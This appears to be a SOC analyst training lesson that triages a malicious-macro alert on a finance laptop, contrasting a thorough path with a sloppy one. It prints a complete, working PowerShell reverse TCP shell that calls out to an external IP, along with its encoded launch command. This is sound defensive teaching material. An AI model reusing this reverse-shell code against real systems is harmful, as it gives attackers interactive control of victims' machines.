Worked Example — Full Triage of a Real-Looking Alert

This lesson walks a complete alert investigation — from the moment the ticket opens to the escalation note that goes to L2. Read the narrative slowly. Notice the decision points. The “worse triage” variant at the end shows what an experienced analyst avoids.

The Alert

Rule: POWERSHELL_ENCODED_COMMAND_SUSPICIOUS_PARENT Severity: P2 (High) Timestamp: 2024-08-14 09:23:41 UTC Host: FINANCE-LAPTOP-04 User: mwilson Raw telemetry (Sysmon Event 1 — Process Create):

ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA4ADUALgAyADIAMAAuADEAMAAxAC4ANQAiACwANAA0ADMAKQAg...

SLA: Acknowledge within 15 minutes, investigate within 4 hours.

The Triage — Good Path

Step 1: Read the full alert

The rule name says “PowerShell encoded command suspicious parent.” The raw event confirms it: WINWORD.EXE spawned powershell.exe with -nop -w hidden -enc. The -nop (NoProfile), -w hidden (hidden window), and -enc (encoded command) flags together are a well-known obfuscation pattern.

Note the timestamp: 09:23 UTC on a Wednesday. Business hours. The user has a name (mwilson), not a service account.

Step 2: Known FP check

Search the allowlist for “POWERSHELL_ENCODED_COMMAND_SUSPICIOUS_PARENT” + “mwilson” and “FINANCE-LAPTOP-04.” No matches. Search for “WINWORD spawns PowerShell” as a suppressed pattern. No matches. Not a known benign pattern.

Continue.

Step 3: Enrich

Maria Wilson is a finance analyst on a P1 host with no admin rights and no prior suspicious activity. This is concerning — a legitimate user who wouldn’t normally run PowerShell.

Step 4: Pivot to raw telemetry

Pivot 1: Decode the Base64 command.

The encoded string decodes to:

$client = New-Object System.Net.Sockets.TCPClient("185.220.101.5",443) 
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

This is a reverse TCP shell. The script opens a TCP connection to 185.220.101.5:443 and provides an interactive PowerShell session to the remote host. This is not ambiguous.

Pivot 2: TIP lookup for 185.220.101.5.

VirusTotal: 31/72 malicious. Community tags: “C2”, “Cobalt Strike”. AbuseIPDB: reported 147 times. Known Tor exit node and bulletproof hosting ASN.

Pivot 3: Network connections from powershell.exe.

Sysmon Event 3 (network connection): powershell.exe established TCP connection to 185.220.101.5:443 at 09:23:44 UTC — 3 seconds after process creation. Duration: active at time of investigation (9 minutes).

Pivot 4: What else happened on this host at 09:23?

09:23:22 UTC — WINWORD.EXE opened document: Q3_Invoice_Reconciliation.docm (macro-enabled document). 09:23:28 UTC — WINWORD.EXE created process: cmd.exe (brief — spawned PowerShell). 09:23:41 UTC — powershell.exe created with encoded command.

The document opened 19 seconds before the PowerShell process. A macro in the document triggered this.

Pivot 5: Any lateral connections from this host?

SMB connections: none in the last 30 minutes. The attacker has not yet moved laterally — or is doing so via the reverse shell rather than direct Windows networking.

Step 5: Working hypothesis

“I assess with high confidence this is an active Cobalt Strike or similar C2 connection established via a malicious macro in a document received by mwilson. The encoded PowerShell reverse shell connected to 185.220.101.5 (known C2 infrastructure) at 09:23:44 and remains active. The attacker has interactive access to FINANCE-LAPTOP-04, a P1 host with financial data. Immediate containment required. Mapping: T1566.001 (spearphishing macro delivery), T1059.001 (PowerShell reverse shell), T1571 (non-standard port — 443 used for C2 rather than HTTPS).”

Step 6: Decide

TP. Escalate immediately. This requires L2 + IR engagement and immediate host isolation.

Step 7: Document and escalate

TICKET: SOC-2024-4421
RULE: POWERSHELL_ENCODED_COMMAND_SUSPICIOUS_PARENT
HOST: FINANCE-LAPTOP-04 | USER: mwilson (Finance Analyst, no admin, MFA on)
SEVERITY: P1 (upgrading from P2 — active C2 connection to P1 host)

TIMELINE:
09:23:22 UTC — winword.exe opened Q3_Invoice_Reconciliation.docm (macro-enabled)
09:23:28 UTC — winword.exe spawned cmd.exe
09:23:41 UTC — powershell.exe launched with -nop -w hidden -enc [DECODED ABOVE]
09:23:44 UTC — TCP connection established to 185.220.101.5:443
09:32:18 UTC — connection still active (confirmed during investigation)

DECODED COMMAND: PowerShell reverse TCP shell (full decode above)
C2 IP: 185.220.101.5 — VT 31/72 malicious, known Cobalt Strike / C2 host
LATERAL MOVEMENT: None detected yet

ATT&CK: T1566.001 (initial access), T1059.001 (execution), T1571 (C2)

HYPOTHESIS: Active Cobalt Strike C2 via malicious macro in invoice document.
DISPOSITION: TP — ESCALATE P1

NEXT ACTIONS FOR L2:
1. Isolate FINANCE-LAPTOP-04 via EDR immediately
2. Identify how the document reached mwilson (phishing email? shared drive?)
3. Check all hosts that communicated with 185.220.101.5 in the last 48h
4. Determine if mwilson's account credentials may have been harvested
5. Pull the document for analysis

L1 ANALYST: [signature] | 09:34 UTC

The Worse Triage Path

Compare what happens when an analyst skips steps:

Analyst sees: “PowerShell encoded command. mwilson is a finance user. The host is a laptop. PowerShell sometimes does weird things. Let me check if the IP is known-bad.”

Analyst checks: VirusTotal for 185.220.101.5. Gets back “31/72” but is uncertain what that means. Thinks: “Could be a false positive from AV vendors.”

Analyst writes: “Suspicious PowerShell, checked VirusTotal — inconclusive. No obvious lateral movement. Closing as probable FP.”

What was missed: The decoded command (a complete reverse shell). The parent process chain (document → PowerShell). The network connection (active C2). The document name (invoice lure, indicating targeting).

The better triage path decoded the command in 2 minutes using CyberChef. Everything after that was driven by that single decode.